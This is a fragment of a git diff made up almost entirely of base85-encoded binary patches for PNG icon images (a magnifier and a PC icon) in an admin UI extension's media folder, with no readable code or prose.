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 diff --git a/extensions/admin_ui/media/images/icons/magnifier.png b/extensions/admin_ui/media/images/icons/magnifier.png index b41a45bae487597dec23db1a5b4488808e34c48d..985cc236f5a0d34768f755a2911012cdbc0d2c5a 100644 GIT binary patch literal 1560 zcmV+z2Iu*SP)v`Q|&{Id@0UbsZx)EEwT2;sAsj ztce>oZi;dzLAa$ulWAT2{2~W^#QqBd;`*;QL@O#P5RWI2NNCVB{iclhvOR1sJA<8d zs|<*1*R79MS6Ac2iBrhR%0es_<*o)1nb^=_Jh%=~binWTqpGSBM~)o9vZYHhGBNZt zan0Iw(V6x2IDO^}I}&v@HToYr>r15JBx#EJ#>gcMtNBo_O-NN z`Ld;HL8Jl@SFiaZ+R!i;=g1mIwc zi9`aDByqHJXFtL>WfHx>54NJM?Km!7>OeFUKr9mGLHIfa6(t#x;)bWV7?-_XBvh5h zFnt`U04!`WPKyqQ0~$k1O5b;&m7^EZF6q$3`^^m2nGTKLWZgiFo5d-XbF`>V&~MyB2max(?eUZ zVCK|&xf_ybMQ~z0a&r{C=mD;hu6+>#Ptpog42iaicPX${%!K9aLG<QbSi1@0ISss-<2yU7(WJ`V=M8*7z!RWo;*m@M~K3RW_)*8>15%%Pa_GIvg8Jy$*RX5}&IV7$zrl+(3Sl*cc zT`t8aKOu9c;|!=8Zz}AX>xmhZb4v!d8`6!@oKDQxL>mvx_G&|V1_Pi|Ngdp>WozwV z%gxwV22$hi3!osc6BmQy;TDY)XjY@c@Y=B$9njs~iJsm72e5hbw^U)_1F21w`MSvp z$VMj_8Lr_^o%&$$!e4{8GMq!O>7<2wGcJBEJqv%3g zwQ@xR?e8S(NH!uXmnINmY?5`~g#FXi)#WWOpFG8PwYP9qkxW;yh@f48%AVS6F{1-M zbpe;gi|(1Qg6=9T&}!@Z5_yACK_MCh7v^vC0F6jH?0kC?)!Zl>1#;RlWNweQbqK?%8c{YoB$v3wCVvo_}EyxsQ#-PBJn6KASW z$$X~bFD!U(PyOaUrjT+-X5B||vU$TE-6%M_fd79mX6VL%XH(<67J(X#MbPkEW79O& z_3s3LR1kNQDP(;nJH9&wAPItrmfd)9vz%ii{b~qdq+ief6<`28QKjg!w6lBw0000< KMNUMnLSTaAIpV+o literal 13582 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 U00000NkvXXu0mjfF*7wcH@2tn-T(jq diff --git a/extensions/admin_ui/media/images/icons/pc.png b/extensions/admin_ui/media/images/icons/pc.png index d8f38aca7c0cdc100a38be2cdd4c96f3c8fc3c09..8d207a8d059578f3075c6e216dd10a23e7d323c6 100644 GIT binary patch delta 1789 zcmVQ#s?zz4zR+&+c3MoI7)`HZWeg%$j}AWAF8? zZ+&a+eHEJj_)ow3?)%#FZ?e{oe|wTr3aLpxeDc24xAHPk%{qVL<#*Ou<#o@WKO3n{ zf$?CVH?1`G?K=cz&BxC?c-t+_M&I`MEALvv&`YtgLzQIQChyBUnJ?@3O#&#S#vra5 ze7@%hP9XzK0dUR5vmo4iHEDO} zyjkNeDciucazKQUox8q6fBVEDRxP`dxlYlDKw;B22azVW0YDMj>wfh9)ev3kW>b>e zbyr=2XJ32^hySiR25J~>&RW;(jx0rW01842U&RAYzkx!i;i;O)vY8fj*Q5Fwy=G*R zxvH^P`^eocQs49Vz{?y--m}ti?>zfcQ`+Hwf14eiF> z`+B8Z`E0p|KR$XcOWnQqA`x-cm!Y7qRAUrKIZM$w)U0n!5YFV<&j1jI(};{d;*LjbXHcve?Y=W2!PzWywiL#Fl;oA3@IEQ(&#fDhE!G^0xFQ|2*f-m)E3^aH~?ga zAeJngk19c2v+yFs9G5J*2vYD#nlz?B%2SXRNTK#+gV6-7akN5axL+wr3&99GqGYQ~ zZFgY{RuwnB~*B_E3ZDc^|qT)0V zxTaD`HU2E6q?>-|AZ4SsoM;%aArM1{MyTX{(SVqUEpk;rfb0c5U+%_ri^cg?jtkJU zc^g4o>KvQYWYtm6z%cVTxfo)QQTLNB-zh7XyF_Soc1>_L;df`eRi$%Uh5C>=h80&|flmlxCCBw-!l$;R^EPb9B9saR6-|vCr)r1(8#u& ze_9u%%H67yeix*U^%{T@?PuE2x_1l9ZoYk!Dz+fv%M;pKv9x1q-bjEy2Zs?ABiEe1 zKlBqW>$+e>)wSC4^w=khR2Ipf3jopbU~aX~l$b5`f|=7XFjT^!AAZHbIx$ET(@vX= zw$>sJeEU6mHhy(#M{1UKd1$a#$QtWVf9lJbZpPF}ID5ua^dB2?J-${2Q4pYgQmdRS zuz#iInNcQjQeTZ%Ig|2z$qw~U9%yS!R2nGfQvG>4_*s z{YQU0$eX|CS~~S#IAh!wg+!tS+BDk46MjPog#)>8|Dsj0Bgy{_`49L3kpL22 zBLNBGh2OyCA&4Y0iWJF;<-{aFVtcc8f=#SIypBl7dcF7Cbayr9JEyvP*6eI%#w2!H zs;#QtuBz|czB*OACP@7!hf7=gyse_{H z7hInUB(kBUFpMdRxNsddBChc+l77Vfkoz(BL;eQezVMruvh};N!0iIynVDW>U<|Sp z2)H6@2fBbdwp{ofk1N=O3W-`qLBz=T$59#}fJK*Sbk7J$-)68iJG zf2hk8)s-X`q^*6#fQ)b&RFGWrbV;nW^exFZspV{@q(t_nbbVmyf7}9bZUIb|(i#?d z=#f35aWAugM`Le)K*RgClEHia-bf*O>)lEE!siE^0vL3nR(Sp54cCW2iMWdh8mH`M zatm}50})G|4>Y;ixtu$DRW$Aw3(QId(LA(%{_=;yNItulaqfg?^y*CpWd*1xhJ)HB ztQ3pl@$WommE6T7fA}*Oin?>5%ygi_*osB~>fs|pndaX(|2}>B&<=U;-KKrYb_I0} z(Kc)MjnRMed{7E&*=npLP9PP+${gwX-MLVc1&p(Rn3_kteC8ddPS!kIpupv?ufNY0 